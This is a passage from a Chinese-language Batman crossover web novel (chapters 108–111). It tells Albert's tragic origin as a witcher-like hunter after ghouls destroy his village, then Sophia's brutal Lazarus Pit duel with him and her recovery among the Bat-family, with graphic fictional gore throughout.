这位名叫瑟瑞娜的女巫虽然冷淡但对于孩子的态度却足够友好。 任何一个孩子，不管是衣服破了几个大洞的赞达亚, 还是连双鞋子都没有的萨拉, 抑或是穿着整齐一看就家境殷实的阿尔伯特, 每个孩子都能从面无表情的女巫那里获得一大把糖果，当然那些衣衫褴褛的孩子大多还能用惊奇的眼神看着瑟瑞娜挥动手指用那些神秘的咒语修补好那些破洞的衣服，或者穿上由柔软的干草编织而成的鞋子。 村里的大人大多数对于瑟瑞娜没有敌意，阿尔伯特认为那是因为女巫小姐总是愿意花足够多的金钱来从孩子手里收购那些在大人眼里不怎么值钱的草药，那些意外之喜足够大人原谅孩子不好好在田里劳作的时光，只是阿尔伯特并不需要那些零钱，他花费大量的时间收集这些材料只是为了获得女巫的夸奖。 于是阿尔伯特的奖励最为特殊，不需要金钱和糖果奖励的男孩选择了女巫知道的故事，这种行为在孩子群中格外奢侈，但好在阿尔伯特足够慷慨允许这些孩子聚在一起听那些比起吟游诗人而言更新奇的故事。 猎魔人并非是与生俱来的种族，这个族群虽然总是在故事中出现，但实际上的数量十分稀少，整片大陆上的猎魔人加起来还不过一百人，而女巫曾经参加的女巫集会则动辄就是涉及几千人的大聚会，大家凑在一起交换手头的药草以及一些更加稀有的材料。 有些女巫并非只是药剂师，同时还出于对于金钱的需要选择成为了炼金术士，那些稀有的矿石和金属同样是这些聚会的硬通货，瑟瑞娜偶尔也会用些偶然得到的矿石去换下稀少的草药方便制作新的药剂以及继续手头改进原有药剂配方的工作。 说回猎魔人这个话题，大多数猎魔人并非是大家想的出身于足够富裕的骑士阶级，而是出生于农民，铁匠这种再普通不过的家庭，这些家里的孩子多到无法抚养的家庭会选择将其中一个孩子卖给游荡在乡村之间的猎魔人来换取过冬的粮食，直到喝下药剂后运气好的孩子成了英雄史诗里的传奇猎魔人，运气差点的则成了死在冬日里的幽魂。 不过这些年猎魔人的数量渐渐少了，比如阿尔伯特从来没在村子里见过这些与各种怪物战斗的英雄，偶尔有陌生人经过除了商队也只有四处游历的吟游诗人，平静安逸的生活对于逐渐长大的男孩来讲不亚于囚笼，而自己只是一只勉强见过了外面广阔世界的青蛙，只能无力的抬起头看着狭窄的天空想象那些令人惊叹的冒险故事有朝一日会落在自己的身上。 随着时间的流逝，过去那些围在女巫身边的孩子慢慢的长成了和父母一样脸上挂着疲惫和麻木的大人，只有阿尔伯特还能仗着家里的宠爱继续往森林里扎，一心沉浸在那个足够奇幻惊险的世界中。 也就在十五岁那年，家里发生了两件大事。 第一自然是二十岁的大哥终于结婚，嫂子是村子西边鞋匠理查德的女儿瑞雯，那是个脾气温柔的大姐姐，从前大哥总是带着还光着屁股的阿尔伯特去瑞雯家里混饭吃，那些足够粗糙砂纸一样能把男孩嗓子磨烂的麦粥实在算不上美味，但大哥总是傻笑着喝了一碗又一碗，全然不顾弟弟的死活。 大哥婚后不久瑞雯就有了身孕，在阿尔伯特还没反应过来的时候，小小一团的皱皱巴巴和猴子一样难看的侄子已经被襁褓包着出现在了大哥的怀里。 而大哥则拉着阿尔伯特为了庆祝那个孩子的诞生喝了一夜的杜松子酒，就在阿尔伯特觉得无聊想要离开的时候大哥抓住了青年的手，那双棕色的眼睛里满是沉重的麦子一样的温和。 “那些规矩无所谓的阿尔，你不必离开，我们家有两座磨坊呢，肯定能养得起这一家人。” 直到这时，阿尔伯特才意识到自己已经到了需要离家的年纪，也难怪父母的眼神里多了许多哀愁，而青年之前则一头扎在那些不切实际的幻想里像只鸵鸟一样用这些虚假的东西麻痹自己。 得醒来了，你该长大了。 阿尔伯特告诉自己。 而第二件事，则出乎了阿尔伯特的预料。 那位似乎和森林融为一体的女巫某天给阿尔伯特送来了信件，信中瑟瑞娜只说有事发生自己要离开很久，将一些常用的药剂放在了木屋的地下室中，如果村民有需要可以自行取用，不必担心金钱问题。 决心长大和那些青春期的幻想彻底决裂的阿尔伯特最后一次踏入了那座木屋，并在地下室对着清单清点了所有的药剂，能够驱除害虫的药剂，能够治疗风寒的药剂，治疗蛇毒的药剂，这些阿尔伯特在给女巫帮忙的过程中早就熟记于心。 唯一有些陌生的药剂被女巫塞进了箱子里，阿尔伯特打开后发现是一种金色的看起来足够怪异的药剂，根据女巫的笔记这是为了阿尔伯特所制作的猎魔人的药剂，只不过瑟瑞娜并不确定具体的药剂成分还需要修改，要阿尔伯特等到女巫回到村子进行调整后再进行服用。 但早就放弃了幻想的阿尔伯特在内心感谢了女巫的好意后将药剂锁了起来，只带了些最基础的药剂回去分给有需要的村民，随后开始接手那座哥哥分给自己的那座磨坊。 只是女巫离开的时间确实有些漫长，阿尔伯特习惯性的在商队之间打听女巫的消息，却只能听到一些如同杂草般疯长的小故事，比如邻村出现的喜欢抓着活人生啃的尸体，再比如镇子上出现的莫名其妙被吸干了全身的血液扔在街道上的干尸。 略有点知识的阿尔伯特大概能判断出来故事里出现的应该是食尸鬼或者吸血鬼这类的怪物，但按照女巫的说法这些怪物往往不会大规模聚集，一些零散的家伙即使没有猎魔人出动仅依靠村里自发组成的自卫队也能够处理掉。 猎魔人总有办法的。 阿尔伯特想到，随后将那些故事抛在脑后继续在村里和那些带着麦子的村民打交道。 直到那场暴风雨的到来。 村子常年干旱，一年到头也就夏天能见点雨水，可如今正值寒冬，却整天看不到太阳，大人们大多没当回事，好在今年粮食大丰收大家不缺粮食，不至于发生在寒冬里只能勒紧裤腰带生活的悲剧。 食尸鬼的故事更多了，甚至就连距离阿尔伯特更近的村子都频繁传来了死人的消息，商队有的人说是有野猪袭击，但更多的说法还是食尸鬼从墓地里爬了出来。 为此阿尔伯特的大哥选择带着村里的护卫队拿着镰刀棍棒等武器开始巡逻，防止那不管是野猪还是食尸鬼的鬼东西混进村子造成麻烦。 灰蒙蒙的天气伴随着潮湿的土腥味，阿尔伯特不太喜欢这种黑压压的环境，吸了吸鼻子继续埋头吃瑞雯做好的白面包，抹上之前晒干的果酱算得上非常丰盛的一顿，小侄子已经四岁但还要缩在长得足够漂亮的小叔叔怀里等着阿尔伯特喂饭。 阿尔伯特不太在乎，只是将手头已经涂抹好果酱的面包撕得小块些塞进了男孩的嘴里，看着男孩咀嚼时一鼓一鼓的腮帮子，用手帕擦了擦男孩嘴边的果酱。 “看着一会要下大雨了，阿尔你和约瑟呆在家里，我去给你哥送伞。”瑞雯正在将哥哥的那份食物收在篮子里，棕色的发丝从脑后的发髻中垂落。 “我去吧瑞雯。”阿尔伯特拍了拍自己足够高大的身体，少年十五岁就已经长得比哥哥和父亲都高上一头，如今身高更是傲人在村子里看任何人都抬不起头来。 “叫阿尔去，阿尔好厉害。”约瑟拍着手，和瑞雯一模一样的翠绿色的眼睛里都是对阿尔伯特的崇拜。 “慢点，别着急。” 阿尔伯特冲着瑞雯招了招手，冲进了护卫队常去的几个地方，麦田，小路，村口，提着篮子的青年找了个遍，最后只能一头扎进了树林里。 森林里比起田野要更加潮湿，阿尔伯特在女巫离开后就不愿意再踏入树林，更何况树林的另一头就是姐姐嫁出去的村子，但中间的路算不上好走真的要只靠走路过去，起码得花上半天的时间。 可是如今即使深入了树林，青年依旧找不到护卫队的影子，飞鸟从树林穿梭带着鸟鸣声，树林里秋天落下的树叶此时被踩得嘎吱作响，阿尔伯特想找其他小动物的声音来寻求安慰，但除了自己的声音以外什么都听不到。 阿尔伯特想，再走五分钟找不到就说明大哥已经回去了，村子就这么大这几个人还能失踪了不成。 天色更加暗了，阿尔伯特勉强打着了火折子用来照明，就在这时青年听到了咀嚼的声音。 那声音听的人毛骨悚然，被啃食的绝非是植物或是水果，那种柔韧的需要牙齿碰撞撕裂的东西，阿尔伯特只能想到肉类。 是遇到被冬天饿到急眼的野兽了吗？ 阿尔伯特沉下心来，只想快速离开，可是那种牙齿啃食动物头骨的响声依旧吸引着曾经热爱冒险的青年去一探究竟。 青年小心翼翼地举起火折子，朝向声音的方向照去，而这时呻吟声钻进了阿尔伯特的耳朵里，阿尔伯特不可能搞错那是人类的呻吟声而非是鹿或者羊的声音。 “救，救命，好痛，好痛，救救我……我还有孩子，我的妻子还在家，我还不想死。” 求救的人已经没了力气，在剧烈疼痛下用气音在小声的呻吟，但那声音熟悉的可怕，阿尔伯特几乎不敢相信只以为是错觉，但朝夕相处的大哥的声音自己怎么可能忘记。 这时火折子终于照亮了眼前的景象，被啃食的果然不是一头可怜的野鹿，那是阿尔伯特的几个小时前还在家里和弟弟吹牛的大哥，而趴在大哥身上用利爪划开了男人腹腔的也不是什么野兽。 那怪物手里攥着大哥鲜红的被牙齿咬断的肠子，乌青的身体完全失去了皮肤的保护，红色的既非火也非萤火虫发出的光亮的眼睛满是贪婪和残暴，而那怪物的脑袋处则完全失去了头盖骨裸露处新鲜过头的还在颤抖地粉色的大脑。 也就在此时，阿尔伯特和大哥对上了视线。 第109章 阿尔伯特叫不出来, 按照故事的设定发现尸体的人应该尖叫的，可是大哥还没有死，他只是被裸着脑子的怪物啃食却还活着。 等到被大雨打湿的泥泞的土地将青年绊倒, 重重的摔在泥地里的那一刻，阿尔伯特的大脑里还是没能分清大哥看到自己的那刻说的到底是快逃还是救命。 怪物不是只是传说吗？为什么真的会出现在村子里？猎魔人呢？猎魔人在哪？为什么放任这些怪物来到了村子里？他们不是英雄吗？ 青年挣扎着趴了起来，沾染了泥水的黑发此时紧贴着青年的脸颊, 几乎让人窒息的大雨从像是破了个窟窿的天上不断泼了下来, 企图将这个不自力量的家伙淹死在陆地上。 我该去找谁？护卫队？不行大哥和护卫队总是在一起，他如今出了事，呸呸，他不会出事, 只要我找到援兵, 大哥一定会没事的。 可是大哥都出事了护卫队大概率也凶多吉少, 阿尔伯特一边朝着村子跑一边大脑在雨水的冲刷下飞速的思考。 除了护卫队还能有谁？对，猎魔人，但哪里找猎魔人啊, 阿尔伯特已经好几年没听过猎魔人的故事了, 这个时候总不能从石头里莫名其妙蹦出来一个猎魔人吧。 阿尔伯特强迫自己收回发散的思维, 可脑子里总是不自觉地想着猎魔人，接着女巫那封信重新出现在脑海里, 紧接着那个被阿尔伯特锁在箱子里痴心妄想一样的药剂跳了出来。 那份药, 那是森林女巫瑟瑞娜的药剂, 一定比其他女巫的药更好, 说不定喝下去就能救大家了。 可是，女巫明明说了这份药还没完成, 她还没回来。 别可是了, 大哥已经成了那样, 你想让大家都被怪物当黑面包啃吗？ 她还没回来。 阿尔伯特的大脑中两种不同的声音还在争吵，可回过神来自己已经站在了熟悉的木屋前，颤抖着手推开了木屋的大门，一头扎进了地下室拿出了那份放在箱子里被阿尔伯特当作宝藏一样供起来的金色的药剂。 被足够昂贵的琉璃装着的药剂此时在火光的照射下几乎散发出比太阳还刺眼的光芒，阿尔伯特能够听到内心一直以来被压抑的呼唤声。 喝下它，喝下它，成为英雄，拯救这个村子。 与此同时耳边响起了更多的求救声，无数个或许熟悉或许陌生的声音都在高声呼救，阿尔伯特甚至听到了来自侄子约瑟稚嫩的哭声。 我要救他们。 他们只有我了。 我不能丢下他们。 我是唯一的英雄。 阿尔伯特拧开了木塞，将琉璃瓶里的药剂一口气全都吞下，还来不及思考以及为了冲动的行为反悔，剧烈的疼痛自喉咙爆炸般弥漫开来，从肠胃到心脏，从脑袋到脚趾，整个身体没有不痛的，甚至于阿尔伯特能清晰的感受到血液流过血管时所发出了疼痛与头疼的不同之处。 青年重重的摔倒在地下室的地上，粘稠的液体顺着额头而下，直到阿尔伯特伸手才意识到自己磕破了脑袋，但是在身体传来的剧痛下，这些外伤竟如同发生在其他人的身上一般。 更为麻烦的是，即使不触摸额头，阿尔伯特也能感受到自己如同被放在火焰上炙烤的身体，体温上升到可怕的程度，而这些短时间内爆发的病痛让原本阿尔伯特自身就具备力气都无法用出来分毫。 毫不夸张地说，比起怪物，阿尔伯特更认为自己会死在这份药剂上。 意识里瑟瑞娜那张平静的脸庞逐渐被疼痛所扭曲，在剧烈的求生欲下女人的面目逐渐变得可怖，直到啃食大哥的食尸鬼与那张脸完全重合在一起，成为了陷入昏迷前阿尔伯特最后的记忆。 阿尔伯特不知道自己睡了多久，但时间应该没有很长，因为他还能听到雨水敲击在土地的响声，以及越来越刺耳的哭泣声。 似乎是女人的哭泣，也像是孩子。 阿尔伯特分不清楚，只是过了许久才有力气从地上爬了起来，颤颤巍巍的抓着梯子从地下室连滚带爬的滚了出来，接下来被地面所遮挡的简直比过年杀羊还要让人作呕的血腥味混杂着雨水钻进了青年过分敏锐的鼻腔内。 阿尔伯特强忍着喉头想要呕吐的欲望，避开那些被啃得血肉模糊的尸体想要回家，但即便是眼神扫过记忆里过分好的青年还是认出了他们的身份。 没了胳膊的是赞达亚的丈夫，赞达亚为了过冬的口粮嫁了过来却天天挨打，阿尔伯特曾经去给这个女孩撑过腰；被怪物举着的那条大腿属于萨拉，她怀孕时摔断了腿却没钱请大夫只能拖着瘸腿把流下来的孩子埋进了家里的地里；那个在地上抓着父母的手一起死去的男孩叫约翰，他不比约瑟大上几岁，却同样沦为了怪物的口粮。 血腥味像是套子一样将阿尔伯特完全笼罩了起来，那些熟悉的此时七零八落的□□遍布了村庄的每一寸土地上，阿尔伯特只能闭上眼祈求奇迹降临，祈祷瑞雯和约瑟还活着。 即使不愿意相信，阿尔伯特很难相信大哥还活着，但至少自己现在还来得及救下这两位亲人的性命。 那些哀嚎声更清晰了些，失去家园亲人甚至生命的苦楚都化成了哭声和暴雨一起冲刷着青年的灵魂，而手里握着的那把不知道从哪里拾来的镰刀是阿尔伯特能找到的唯一的武器。 直到阿尔伯特终于走完了就记忆里再熟悉不过的路途，弯腰钻进属于大哥的那座屋子，推开年久失修的木门的那一刻，更加刺鼻的血腥味袭来，阿尔伯特忍着恶心钻进了屋子，一眼就看到了那个倒在床上已经完全失去生机的身影。 青年不可置信的退后几步，却只能感受到脚下绵软的触觉，火折子向下看去，阿尔伯特瞪大了因为药剂变成金色竖瞳的眼睛。 没办法再欺骗自己，在夜里照样敏锐的眼睛清晰地看到了被开膛破肚的男孩的身体，那怪物甚至颇为挑剔只愿意吃最柔软的内脏，随后便将男孩扔在了地上离去。 男孩那双眼睛里还流露出恐惧，阿尔伯特的耳边萦绕着男孩的尖叫和哭泣声，随后加上了女人尖锐的喊声，最后男人的求救声再次顺着湿透的裤腿毒蛇一般缠绕了上来。 阿尔伯特几乎要溺亡在这些声响中，与此同时来自怪物的梦魇一般的咀嚼声再次出现，在房屋内显得格外清晰。 新生的猎魔人抓紧了手中的镰刀，缩着身子向着声音的方向探去。 这也是阿尔伯特第一次意识到猎魔人并非无所不能。 阿尔伯特只是一个养尊处优的小少爷，他干不动农活，也就是那具被精细粮食浇灌出来的高大身体算得上唬人，但面对那些毫无人性和理智的怪物，即使猎魔人的速度比起常人再快，力量有多强也只不过是徒劳。 而那些震天撼地的魔法更是天方夜谭，被怪物扑倒的青年重重的倒在了泥地里，被密密麻麻的怪物围了上来，尽情享用即使被啃食无数次仍旧能够复原的内脏。 不断承受开膛破肚疼痛的阿尔伯特放弃了挣扎，而就在此时男人那双金色的眼睛穿透时空，看到了此时正巧蹲在青年侧边围观怪物吃自助餐的索菲亚。 被牧首一手养大的索菲亚依旧没什么表情，没有任何被抓包的尴尬，对着男人眨了眨眼睛，随后迷雾一般的回忆乍然结束，索菲亚终于从水池中探出了头，游向了岸边。 而阿尔伯特这才恢复意识，记忆中青年青涩的眼神逐渐染上属于猫头鹰的色彩，男人注视着索菲亚恨不得退避三舍的背影，出声道。 “我还以为和蝙蝠侠在一起，你会变得心软一些。” “我没有爱上仇人的爱好。”索菲亚甩了甩湿漉漉的头发，重新调整成了正面面对阿尔伯特的姿势防止被背刺“再说了关我什么事，你遇到这些事只能算你倒霉。” “顺便重申一下，没有和蝙蝠侠在一起，我还没到喜欢小妈文学的年纪，那种清秀高智感成熟少年才是我的菜。” 阿尔伯特注视着索菲亚似乎第一次认识眼前的女孩，随后笑了出来。 “我有印象，之前的监控里你俩还在刺客联盟亲嘴对吧，年轻人果然精力充沛。” “我记忆里你还是那个不敢抬头的小孩，和你妈妈一样温顺安静，像一匹经过繁育足够稳定的小马。” “但慢慢的就像是猎犬了，胆子很小的窝窝囊囊的小猎犬，没有一点猫头鹰的样子。” “我现在还不像猫头鹰吗？”索菲亚捡起刀对准阿尔伯特的方向“不过没关系，我一早说过了，我想当人。” 阿尔伯特同样从池子里爬了出来，被琥珀金一下子补满了血条的两个人之间的距离越来越近，男人甩了甩头将头发上沾染的池水全都抖了出去。 “你应该没印象了好孩子，我们刚到这里的时候，就是落在了这里，所以这里才是一切开始的地方。” “无所谓，毕竟真要算的话一切开始的时候，你应该去算我妈妈的排卵期。” 索菲亚退后几步，两人默契的跟那池足够诡异的拉撒路池水保持了距离，然后刀剑再次向前劈砍，发出足够让人头疼的金属敲击声。 第110章 对任何人来讲, 和自带回血功能的怪物打架都不算什么美好的体验，如果让索菲亚在没有魔法的情况下必须在几百个利爪和牧首之间选择，猫头鹰宁愿捏着鼻子去满哥谭去找被塞进犄角旮旯里的243个谜语人奖杯。 但好消息是, 索菲亚同样身负琥珀金的能力，两只猫头鹰缠斗在一起用手上的武器努力的制造出的伤口在几分钟之内便快速愈合，只留下一地的血迹。 在战斗的一开始, 索菲亚就知道平日里那些观赏效果极强适合装逼的一刀毙命的技能没了效果, 这种情况下选择破坏对方的行动能力才是最优解，但巧合的是阿尔伯特也是这么想的。 这种一边费尽心思砍掉对方四肢，另一边还要努力防备对方的袭击的感觉属实不好受，在阿尔伯特持续不断的比外界的雨丝还密集的攻击下, 索菲亚已经无暇去顾及自己是不是比动物园上蹿下跳的猴子还狼狈了。 与此同时, 索菲亚也竭尽全力在男人身上留下了大大小小的伤口, 虽然在长刀砍向男人关节的时候，刀身与骨头所碰撞后弯折到一个不可思议的弧度，让人能清晰的听到金属传来的让人牙疼的声音, 但好在这把长刀的柔韧度足够过关才没有被崩飞刀身, 成为一把善良之刃。 阿尔伯特看着几乎断裂的刀身挑眉, 挥动了自己手里那把顺着刀身向下滴落鲜血的太刀，慢慢走近。 “如果是古法锻造, 这把刀应该已经折断, 不过在远东古代似乎很喜欢用折戟断剑来表达人物的气节, 不过在我看来这种给失败者找补的话题实在没什么意思。” 阿尔伯特浑身上下看不出一点老古董的样子, 既没有像拉尔斯那样喜欢穿过分具备地区民族特色的长袍，也没有和蝙蝠侠这类超级英雄一样沉迷紧身战衣, 真的说起来倒有种机能风的既视感, 尤其是颇多绑带的工装裤显得猫头鹰格外像沉迷FPS游戏的大龄死宅。 索菲亚能感受到体力随着血液的一同流失, 但双手始终紧紧抓着刀柄，在半分钟后两人继续缠斗在一起。 得找一个能够使用魔法且不会被逃掉的时机，实在不行两个人一起被雷劈火烧也不是不行。 当阿尔伯特的太刀对准索菲亚而来的时候，少女突然回想起男人刚刚的话。 只差一点，就能折断。 腿骨不足以卡住刀身，那么肋骨呢？ 索菲亚随即变换手上的动作从防御转为了攻击，迎着男人的眼神撞上了刀刃，刻意避开了心脏的关键位置，用肋骨卡住了刀身。 血液顺着刀身流下几乎汇成了小溪，索菲亚没有丝毫空闲对着自己的伤势喊痛，几乎同时发动了一个中级火焰魔法，让火焰迅速在距离无比接近的二人中间燃烧。 阿尔伯特还没来得及抽身，紧随其后的就是被突如其来的冰凌控制住的双腿，以及从天而降的足够夺走大多数人生命的雷电。 “轰隆——” 雷电接二连三的劈下，也就在此时索菲亚听到了一声足够清脆巨响，在连续魔法的突袭下阿尔伯特手里那把质量过硬的太刀从刀根处断裂，而趁机拉开了距离的索菲亚还带着卡在肋间的刀身，少女脸色苍白表情却没有一丝变化。 一般按照习惯，如果有人不小心被刀捅伤，在一般情况医生都不会建议自行拔出凶器以防止伤口的二次破坏以及可能带来的细菌感染。 只不过，索菲亚目前的情况即使闭上眼睛进行评估也算不上一般。 好在自己左手那把长刀在发动魔法时已经砍向了男人的脖颈处，只可惜过度失血不利于积蓄力气，不然就能提着猫头鹰的头去见蝙蝠侠炫耀了。 此时算不上和谐的师徒二人，一个从脖颈处被斜向下刺入刀具，另一个胸口处插着把太刀，凄惨的程度几乎相差甚小，但两人没有选择休战，而是不约而同地在拔出凶器扔在一旁后继续战斗。 索菲亚意识到这场战斗或许快画上句号了，她能通过恢复速度越来越慢的伤口来感受到血液内琥珀金的流逝，再加上自己另一把能用的长刀不知道什么时候没了影子，两个人抛弃了一切武器，只是作为野兽互相撕咬搏斗。 就像索菲亚一早想的那样，阿尔伯特杀不了她，但同样她也没办法亲手杀掉这个凭借一己之力将自己拉入深渊的刽子手，而且她在选择融入蝙蝠洞的时候就默认了蝙蝠侠的那些条条框框的规则，尤其是那条不杀原则，有软肋的家伙是没办法战胜一无所有的猫头鹰的。 没有什么理由，索菲亚知道自己不是什么好人，当然不是为了无所谓的正义和公平，也无心支持在哥谭不比几张用过的卫生纸值钱的法律，只是她身边的所有人都不希望这只小猫头鹰再次坠入对于任何生命，无论是他人的还是自己的生命都毫不在乎的状态。 索菲亚估算着伤口恢复的速度，却终究是没了力气被阿尔伯特掐着脖子扑倒在地，后脑勺摔在石头地上的一瞬间，那些被肾上腺素刻意忽视掉的疼痛都涌了上来。 不管是几乎被贯穿的胸口的疼痛，还是被用刀砍了膝盖和关节，肩膀因为过度劳累几乎没办法抬起来，再加上新鲜的刚刚出现的后脑上的伤口，这些疼痛几乎像潮水一样袭来让索菲亚几乎窒息。 哦对，也是真的窒息了，毕竟阿尔伯特的双手还掐在自己的脖子上，如果不是猫头鹰不太需要呼吸，此时估计已经晕过去了，看样子男人是抱着要掐断自己学生颈骨的决心来的。 索菲亚闭上眼睛内心却在疼痛的涤荡中愈发平静，她以为会和动画片的主角一样在危急时刻出现同伴的剪影，那些美好的回忆如同播放胶片一样一帧帧略过，接着主角就会爆种为了守护和同伴的羁绊一跃成为超级赛亚人，一拳把反派打爆，最后在反派不可置信的眼神里说出那句：不要小瞧我们之间的羁绊啊。 只可惜，真正濒死的时候，索菲亚的眼前什么都没有出现。 ——只有无尽的平静。 索菲亚再次听到了越来越近的雷电声，不管怎么样把一个非常耐杀的猫头鹰放在哥谭还是多少有些不管当地生态链的死活，至少在自己真的去见太奶之前，把这个活了太久的家伙也带走吧。 这是索菲亚第一次知道使用高级魔法，同样也会消耗琥珀金。 身体上的伤口几乎不再愈合，甚至连血液流动的速度也在降低，但随之而来的便是更加震耳欲聋的雷电穿过云层的响声。 在索菲亚几乎失去意识的时候，最后一道雷暴终于降下，索菲亚能感受到比高压电还要激烈的电流穿过身体时那一瞬间的空白，甚至于这种真的会死的时候索菲亚反而想笑。 这一击消耗了索菲亚体内大多数的琥珀金，而剩余的那些勉强保证少女不会在这场意外中死去，阿尔伯特同理，但这对有着深仇大恨的师徒都彻底没了继续战斗的心思。 索菲亚摇摇晃晃的站了起来，有赖于那道雷电此时体表大多数外伤都止住了血，少女的视线完全被鲜血浸染，而眼前阿尔伯特的状况还要比想象中差些，只能勉强朝着拉撒路之池的方向移动。 “有意思吗？一直这样死去活来，没人把你当人，就连你自己也没把自己当人。” “活着……总比死了好，我还会去找你。” “随便，我能杀你一次，就能再杀你一次，只要你出现在我的眼前，我就不会放过你。”正说着话索菲亚卡壳了一下，随后敲了敲脑袋继续说道“哦对，我答应别人不会杀人了，我可以把你的四肢砍成肉馅，毕竟这样你也算活着。” “你就这样成了家禽？……我以为你至少从我这耳濡目染一点野心家的潜质。” “我愿意，至少有人在等我。”索菲亚靠在石壁上每次呼吸都带着铁锈味“你这种一个人就能上kfc全家桶的人肯定不懂。” 索菲亚站了起来，终于找到了掉在地上的长刀，但看着还在朝着池水方向爬的阿尔伯特终究是没能刺下去，最终手腕一抖扔在了地上听着金属和石头敲击出来的声响。 “我已经不在乎了阿尔伯特，我已经从那个家里走出来了，我的噩梦里不会再出现那个晚上，我妈妈死去的那个晚上。同样的我也从审判庭走出来了，你想要带给我的那些噩梦已经结束了，在伊芙琳带我回家的那天，没有惩罚没有恐吓，只是在一个平常的夜晚伊芙琳为我准备了舒适的睡衣柔软的床铺，那天我吃了很多东西直到困意袭来，我睡着了，然后那些东西就再也追不上我了。” “然后你失去了那些不是吗？你恐怕再也见不到那两个可笑的猎魔人了。”阿尔伯特带着冷笑的声音传来，但索菲亚没心情去管男人的讥讽，而是转过身对着带着光亮大概率是出口的地方走去。 “那你呢？阿尔伯特，你从那个失去一切的夜晚走出来了吗？”索菲亚顿了顿继续道“十九岁的阿尔伯特成为英雄了吗？” 在阿尔伯特的视线里，少女一瘸一拐的渐行渐远，远方是光亮是希望，只留下被权力和欲望完全拉下悬崖的猫头鹰在崖底嚎叫。 只是猫头鹰挣扎了许久，最终还是没有进入那个能让死者复活的水池。《 》 110-120 第111章 索菲亚带着满身疼痛在山洞的尽头看到了那个熟悉的身影, 少年伸开双臂身后的披风如同翅膀一般伸展开来接住了索菲亚倒下的身体，就像过去每一次一样。 被阿尔伯特打到濒死前索菲亚什么都没看到，但到了安全环境里少女的梦就有点太丰富多彩了。 一会儿她梦见一气之下杀了小丑的蝙蝠侠咧着个大牙成功把韦恩家的户口本杀到只剩下一页, 过了一会儿杀了小丑的换了一身白色制服的超人开始沉迷在全世界搞乌托邦世界日天日地，甚至还有用病毒把自己搞成外太空怪兽的蝙蝠侠一边把超人往死里打一边深情告白。 场面之复杂让索菲亚皱紧了眉头，开始思考是不是不应该在无聊的时候看太多过分抽象的cult片。 索菲亚好几次想要醒来, 但大脑并不这么认为依旧将少女困在梦境里, 看那些但凡是个人用脚都想不出来的ooc剧情。 索菲亚对此唯一的评价只有，不如AO3上的蝙蝠侠相关tag上的大阴趴好看，既然是自己的大脑能不能放点黄的。 大脑没有理会索菲亚，过了一会儿开始自顾自播放布鲁斯韦恩.夜店.脱衣舞的avi。 救命这到底是哪里来的东西啊, 不许嬷布鲁斯韦恩, 你让我怎么面对那个和小孩抢饼干的家伙啊！快住手啊大脑！ 索菲亚挣扎了几天终究是没了脾气, 然后在少女完全接受躺尸现实的某天，终于恢复了对身体的掌控权。 在还没睁开眼睛前，最先袭来的感受是发自内心的饥饿感, 至少有三天没有摄入食物足够任何一种动物双眼发绿, 但真的尝试去操控身体反而没有预想之中的无力感。 随后便是听觉, 索菲亚又听到了熟悉的键盘敲击声，能听得出来动作的主人有意放轻了动作, 但还是能从纸张被翻动的间隙听到有些怪异的叹息声。 手指的动作愈发流畅, 重新掌控身体主动权的感受让索菲亚颇为满意, 但紧随其后的就是疼痛感。 真的被十个大汉暴打了一整天的猫头鹰此时终于遭了报应, 失去肾上腺素的冲击，这些疼痛遍布浑身上下, 从头到脚没有地方不痛, 而床上的索菲亚扭过头睁开了眼睛, 将那个坐在自己房间侧边还在处理公务的少年映入了视线。 “好痛……”索菲亚的声音沙哑的可怕让少女险些以为自己的声带接受不了成天挨打的现实已经离家出走，好在听到声音的少年很快转过身来将索菲亚的上半身扶了起来靠在床头足够柔软的靠垫上，并贴心的递来了一杯温水。 “你还有哪里不舒服吗？”少年用手背贴在索菲亚的额头小心试探，过了几秒又忍不住笑了出来但同样沙哑的声音让索菲亚以为小男朋友在自己不知道的时候也挨了顿打一样“我都忘了直接用温度计测量要准确得多了。” “好痛啊。”索菲亚盯着少年，接着继续重复“好痛哦。” 其实没那么疼，但是看着少年忙前忙后的样子真的很好玩。 索菲亚就着温水喝下成把的止痛药，在等待药片生效的时间里还在持续添乱，但耳边少年略显奇怪的声音始终困扰着索菲亚。 “好疼啊，提米，你为什么只是看着，你不爱了吗？” “等药生效好吗索菲亚，稍微忍一忍。”少年抓着索菲亚明显被各类针头扎到看不见血管的手，将脸贴在了有些冰凉的手背上。 “提米比起这个，我更好奇另一件事。”索菲亚伸出另一只手贴在少年的脸上，捧着那颗脑袋迫使提姆抬起了头“你的声音怎么了？你被毒哑了吗？刺客联盟这么恨你离这么远还要害你，还是杰森和达米安一起给你投毒了？” 少年的脸颊刹那间红了起来，蓝色的眼睛躲躲闪闪后终究是破罐子破摔回答了这个问题。 “没什么索菲，只是……变声期。” 索菲亚看着完全变成和姓氏相对应的公鸭的提姆没忍住笑出了声，但很快就因为扯到胸前的伤口痛到表情扭曲，但这点疼痛显然不足以让索菲亚长记性，少女仍把脑袋埋在被子里咯咯笑个不停。 不一会遭了报应的索菲亚就笑不出来了，孤零零的坐在床上看着提姆抱着染了血的被子去找阿福清理，但少年很快就回了房间一只手牵着索菲亚进了蝙蝠洞。 此时最大的病号占据了蝙蝠洞角落里那张沙发，但只可惜因为被打到内脏破裂到还在吐血的缘故，只能看着大家吃小饼干，而自己只能在一边一口一口地喝水。 “你太冲动……”蝙蝠侠不赞同的话语还没说完，索菲亚就在手上拿着的毛巾上平静地吐出一口血。 “我们得……”索菲亚又吐出一口血。 “……”索菲亚还在吐血。 蝙蝠侠彻底闭上了嘴，只剩下斯蒂芬妮没有道德的一边大笑一边拍着索菲亚难得完整的大腿。 “没什么能快速治疗的办法吗？”索菲亚难得找到说话的空挡默默的把喉头的血咽了下去在线cos吸血鬼“我记得不是有治疗舱可以用吗？” “你受伤太严重了，现在已经是治疗过的结果了，按照计划今天下午会进行第二次治疗。”蝙蝠侠的眼神扫了过来但看到捧着被血染红的毛巾的索菲亚，终究是温和了许多“接下来还有两次治疗就能完全恢复。” 斯蒂芬妮抓住了索菲亚的手金色的毛茸茸的脑袋靠在了少女的肩膀上，而另一侧的卡珊德拉有样学样也小心翼翼地靠了过来，左拥右抱的感觉让索菲亚身上仿佛被大象踩过的痛感都消失了很多，三双颜色不同的眼睛此时都已经合上，被疲惫感再次掌控的索菲亚干脆再次睡了过去。 